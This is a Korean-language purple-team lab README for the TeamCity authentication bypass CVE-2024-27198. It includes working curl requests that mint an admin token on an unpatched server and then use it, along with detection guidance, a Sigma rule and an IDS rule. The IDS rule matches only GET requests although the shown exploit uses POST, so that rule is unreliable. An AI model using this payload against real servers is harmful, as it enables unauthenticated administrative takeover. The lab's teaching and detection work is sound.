
CVE-2024-27198 실습 환경
TeamCity는 인증으로 보호되지 않는 관리자 전용 토큰 관리 페이지를 제공합니다. 이를 통해 인증되지 않은 사용자가 기존 사용자의 ID를 찾을 수 있다면 관리자 사용자의 액세스 토큰을 생성할 수 있습니다.
이 취약점은 REST API 라우팅 메커니즘에 있습니다. 인증되지 않은 엔드포인트에 특정 문자(예: ?jsp=/app/rest/...;.jsp)를 추가함으로써 공격자는 TeamCity 웹 서버가 요청을 인증된 엔드포인트로 라우팅하도록 속이면서 보안 필터를 우회할 수 있습니다. 이를 위해 사전 지식이나 접근 권한이 전혀 필요하지 않으므로 CVSS 점수 9.8의 순수 취약점입니다.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
취약한 TeamCity 인스턴스에 접속: http://localhost:8111 패치된 TeamCity 인스턴스에 접속: http://localhost:8112
사용자 이름:
admin
비밀번호:
admin
인증 없이 리소스에 GET 요청:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
둘 다 401 상태 코드와 함께 오류를 반환해야 합니다.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
이 명령은 다음과 같은 토큰을 반환해야 합니다(토큰은 매번 다릅니다):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
패치된 인스턴스에는 취약점이 없으므로 401 상태 코드와 함께 오류를 반환해야 합니다.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
사용자 목록을 반환해야 합니다.
실습 데모 중에 엄청난 Blue Team 발견을 보여줄 수 있습니다: 기본적으로 이 취약점은 매우 은밀합니다!
;.jsp HTTP 요청이 기록되지 않습니다.그렇다면 어떻게 잡을 수 있을까요? 공격자가 흔적을 지울 때입니다! 공격자가 가짜 토큰을 삭제하여 흔적을 숨기면, TeamCity는 그 행동을 기록합니다.
감사 로그에서 흔적을 숨기는 공격자를 찾으세요:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
("REDTEAM" 토큰이 삭제되었음을 나타내는 로그 항목이 보입니다).
docker compose -f docker-compose.yml down
이 취약점은 CWE-288: 대체 경로 또는 채널을 사용한 인증 우회의 한 예입니다.
이 결함은 Tomcat 웹 서버와 TeamCity 애플리케이션 라우터 간의 경로 혼동 문제에서 비롯됩니다. 요청에 ;.jsp를 추가하고 jsp= 매개변수에 대상 REST API 엔드포인트를 전달하면, 초기 보안 필터는 이 요청을 공개 .jsp 파일에 대한 인증되지 않은 요청(허용됨)으로 해석합니다. 그러나 내부 라우터는 ;.jsp를 제거하고 인증 필터를 적용하지 않고 요청을 제한된 /app/rest/ 엔드포인트로 전달합니다.
합법적인 사용 사례 (;이 허용되는 이유):
Tomcat은 행렬 매개변수(Matrix Parameters) 를 위해 세미콜론 문자(;)를 사용합니다. 역사적으로 이 메커니즘은 쿠키가 비활성화된 경우 사용자 세션 상태를 유지하기 위해 JSESSIONID를 경로에 직접 추가하는 등에 사용됩니다. 이러한 정상적이고 합법적인 웹 서버 동작이 TeamCity 애플리케이션 라우터의 부적절한 검증과 결합되어 취약점이 발생합니다.
진행 중이거나 과거의 침해를 탐지하기 위해 Blue Team은 다음을 확인해야 합니다:
/app/rest/ 엔드포인트를 대상으로 하지만 URI에 비정상적인 ;.jsp 문자열이 포함된 HTTP 요청.teamcity-server.log): 설명할 수 없는 액세스 토큰 생성 또는 새 관리자 계정 생성.초기 익스플로잇은 기본적으로 은밀하기 때문에, Blue Team은 공격자의 사후 행동(예: 흔적 숨기기)을 탐지하는 데 의존해야 합니다. 다음은 의심스러운 토큰 삭제를 탐지하기 위한 SIEM용 Sigma 규칙입니다:
title: JetBrains TeamCity 의심스러운 토큰 삭제 (CVE-2024-27198 사후 악용 탐지)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: CVE-2024-27198 악용 후 공격자가 흔적을 숨기기 위해 가짜 토큰을 삭제하는 행위를 탐지합니다.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
이 탐지가 실제로 작동함을 증명하려면 siem_simulator.py 스크립트를 실행하세요.
docker compose up -d).python3 siem_simulator.py
네트워크에서 이 악용 시도를 탐지하기 위해 SOC는 다음 IDS 규칙을 구현할 수 있습니다. 이 규칙은 비정상적인 ;.jsp 패턴과 REST API 경로의 조합을 찾습니다:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
완화 조치가 효과가 있음을 증명하기 위해 포트 8112에서 실행 중인 패치된 TeamCity 컨테이너에 동일한 익스플로잇 페이로드를 실행할 수 있습니다:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
패치가 경로 일치를 엄격하게 강제하고 행렬 매개변수를 적절히 검증하기 때문에 우회는 실패합니다. 생성된 토큰 대신 401 Unauthorized 또는 404 Not Found 응답이 표시되어야 합니다.